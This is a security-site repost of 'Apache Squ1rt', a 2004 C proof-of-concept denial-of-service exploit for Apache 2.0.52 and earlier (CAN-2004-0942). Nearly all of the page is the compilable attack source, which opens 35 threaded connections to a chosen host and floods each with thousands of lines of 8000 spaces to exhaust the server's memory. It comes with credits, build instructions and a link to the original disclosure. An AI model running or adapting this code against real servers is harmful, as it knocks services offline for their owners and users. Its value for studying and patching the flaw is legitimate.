首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache <= 2.0.52 HTTP GET Remote Denial of Service Exploit
来源:vfocus.net 作者:dguido 发布时间:2004-11-19  

Apache <= 2.0.52 HTTP GET Remote Denial of Service Exploit

CAN-2004-0942

/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52

j0hnylightning gmail .om
dguido gmail com

Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
...
8000 times

Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.

Original credit goes to Chintan Trivedi on the
FullDisclosure mailing list:
http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html

More info:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942

Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.

This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52-r1 release in the file 06_all_gentoo_protocol.patch

v2
Rewritten to use pthread.
gcc apache-squ1rt.c -lpthread
*/

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define DEST_PORT 80

void *squirtIt(char *hName);

char attackBuf[8000];
char letsGetStarted[128];

int main(int argc, char **argv){
int num_connect;
int ret;
pthread_t tid[35];

sprintf(letsGetStarted, "GET / HTTP/1.0\n");
memset(attackBuf, ' ', 8000);
attackBuf[7998]='\n';
attackBuf[7999]='\0';

if (argc != 2){
fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
exit(1);
}

for(num_connect = 0; num_connect < 35; num_connect++){
ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt, argv[1]);
}

/* assuming any of these threads actually terminate, this waits for all of them */
for(num_connect = 0; num_connect < 35; num_connect++){
pthread_join(tid[num_connect], NULL);
}

return 0;
}

void *squirtIt(char *hName){
int sock, i;
struct hostent *target;
struct sockaddr_in addy;

if((target = gethostbyname(hName)) == NULL){
herror("gethostbyname()");
exit(1);
}

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket()");
exit(1);
}

addy.sin_family = AF_INET;
addy.sin_port = htons(DEST_PORT);
bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
memset(&(addy.sin_zero), '\0', 8);

if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
perror("connect()");
exit(1);
}

send(sock, letsGetStarted, strlen(letsGetStarted), 0);

for(i=0; i < 8000; i++){
send(sock, attackBuf, strlen(attackBuf), 0);
}

close(sock);
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·UBB.Threads 6.2.*-6.3.* one ch
·SLmail 5.x POP3 Remote Pass Bu
·Multiple Antivirus Products Vi
·Microsoft Windows Compressed (
·Eudora 6.2 Remote Attachment S
·Internet Explorer 6.0 SP2 File
·Apache 2.0.52 and earlier DoS
·Orginal Advisory and exploit b
·IPSwitch-IMail 8.13 Delete Com
·Secure Network Messenger DoS E
·Kerio Personal Firewall Multip
·Cscope version 15.5 and minor
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved